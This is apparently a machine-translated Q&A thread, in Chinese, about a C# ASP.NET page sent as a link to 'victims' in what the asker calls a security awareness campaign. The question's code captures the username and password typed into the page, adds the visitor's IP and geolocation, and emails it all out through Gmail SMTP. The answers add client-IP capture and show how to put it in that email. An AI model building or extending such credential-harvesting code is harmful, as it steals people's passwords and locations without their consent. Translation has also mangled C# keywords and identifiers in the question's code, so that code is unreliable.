C# 在单击链接时获取用户的远程IP

C# 在单击链接时获取用户的远程IP,c#,asp.net,azure,ip,C#,Asp.net,Azure,Ip,我们正在开展一些信息安全意识活动。我已经创建了一个网页,并将其托管在azure Web服务器上,并将链接发送给受害者。我已经在代码中实现了获取受害者IP的机制。当他点击我的链接时,我在电子邮件中获得了azure Web服务器的IP。但我想要他的互联网的公共IP。即。当受害者点击我的链接时,我将收到他的IP,该IP显示在whatsmyip到我的电子邮件中。 当前实施: 受保护的void sendmail() { //此行用于检查服务器本身的客户端ip地址 字符串IP=“”; 字符串strHost

我们正在开展一些信息安全意识活动。我已经创建了一个网页,并将其托管在azure Web服务器上,并将链接发送给受害者。我已经在代码中实现了获取受害者IP的机制。当他点击我的链接时,我在电子邮件中获得了azure Web服务器的IP。但我想要他的互联网的公共IP。即。当受害者点击我的链接时,我将收到他的IP,该IP显示在whatsmyip到我的电子邮件中。 当前实施:

受保护的void sendmail()
{
//此行用于检查服务器本身的客户端ip地址
字符串IP=“”;
字符串strHostName=“”;
strHostName=System.Net.Dns.GetHostName();
IPHostEntry ipEntry=System.Net.Dns.GetHostEntry(strHostName);
IPAddress[]addr=ipEntry.AddressList;
IP=addr[0]。ToString();
//初始化新的xml文档对象以开始读取返回的xml文件
XmlDocument doc=新的XmlDocument();
文件加载(“http://www.freegeoip.net/xml");
XmlNodeList ipaddress=doc.GetElementsByTagName(“IP”);
XmlNodeList nodeLstCity=doc.GetElementsByTagName(“城市”);
XmlNodeList Country=doc.GetElementsByTagName(“CountryName”);
XmlNodeList timezone=doc.GetElementsByTagName(“时区”);
XmlNodeList latitudeinfo=doc.GetElementsByTagName(“纬度”);
XmlNodeList longituteinfo=doc.GetElementsByTagName(“经度”);
IP=“IP”+IP地址[0]。InnerText+“\n”+”城市:“+节点城市[0]。InnerText+“\n”+”国家:“+国家[0]。InnerText+“\n”+”时区:“+时区[0]。InnerText+“\n”+”纬度:“+纬度信息[0]。InnerText+“\n”+”经度:“+经度信息[0]。InnerText+“\n”+”+IP;
字符串pubIp=new System.Net.WebClient()。下载字符串(“https://api.ipify.org");
响应.写入(pubIp);
var fromAddress=“电子邮件”;
//电子邮件将发送到的任何地址
var toAddress=“SOMEEMAIL”;
//您的gmail地址的密码
const string fromPassword=“PASSWORD”;
//传递值并生成要显示的电子邮件格式
字符串subject=“Info”。ToString();
string body=“用户名:”+UEmail.Text+“\n”;
正文+=“密码:”+UPass.Text+“\n”;
//正文+=“恢复电子邮件:”+recEmail.Text+“\n”;
//正文+=“恢复电话”#“+电话号码.文本+“\n”;
正文+=“信息:\n”+pubIp+“\n”;
正文+=“另一个测试IP信息:\n”+IP+“\n”;
//smtp设置
var smtp=new System.Net.Mail.SmtpClient();
{
smtp.Host=“smtp.gmail.com”;
smtp.Port=587;
smtp.EnableSsl=true;
smtp.DeliveryMethod=System.Net.Mail.SmtpDeliveryMethod.Network;
smtp.Credentials=新的网络凭据(fromAddress,fromPassword);
smtp.Timeout=30000;
}
smtp.Send(fromAddress、toAddress、subject、body);

}
以下是获取ip地址的方法:

private string GetIPAddress()
{
    System.Web.HttpContext context = System.Web.HttpContext.Current; 
    string ipAddress = context.Request.ServerVariables["HTTP_X_FORWARDED_FOR"];

    if (!string.IsNullOrEmpty(ipAddress))
    {
        string[] addresses = ipAddress.Split(',');
        if (addresses.Length != 0)
        {
            return addresses[0];
        }
    }

    return context.Request.ServerVariables["REMOTE_ADDR"];
}

您可以使用HTTP客户端获取公共IP地址。获取数据并使用string.split或其他方法解析信息。本网站以简单的回音格式为您提供ip地址。所以你不需要做太多的处理。下面是一个非常简单的示例代码:

    string GetPublicIP()
    {
        System.Net.WebClient wc = new System.Net.WebClient();
        byte[] raw = wc.DownloadData("http://checkip.dyndns.org/");

        string webData = System.Text.Encoding.UTF8.GetString(raw);

        string[] body = webData.Split(new[] { "<body>", "</body>" }, StringSplitOptions.RemoveEmptyEntries);
        string[] ip = body[1].Split(new[] { ":" }, StringSplitOptions.RemoveEmptyEntries);


        return ip[1];
     }
字符串GetPublicIP()
{
System.Net.WebClient wc=新系统.Net.WebClient();
字节[]原始=wc.DownloadData(“http://checkip.dyndns.org/");
stringwebdata=System.Text.Encoding.UTF8.GetString(原始);
string[]body=webData.Split(新[]{“”“”},StringSplitOptions.RemoveEmptyEntries);
字符串[]ip=body[1]。拆分(新的[]{:“},StringSplitOptions.RemoveEmptyEntries);
返回ip[1];
}

出于好奇,您打算对收集到的IP地址做什么?请注意,您应该随时告知用户您得到了什么和为什么!如果我想通过电子邮件接收它…我如何在下面的代码中传递它?正文+=“信息:\n”+pubIp+“\n”;smtp.Send(fromAddress、toAddress、subject、body);只需设置
pubIp=GetIPAddress()
正文+=“信息:\n\r“+GetIPAddress()+”\n\r”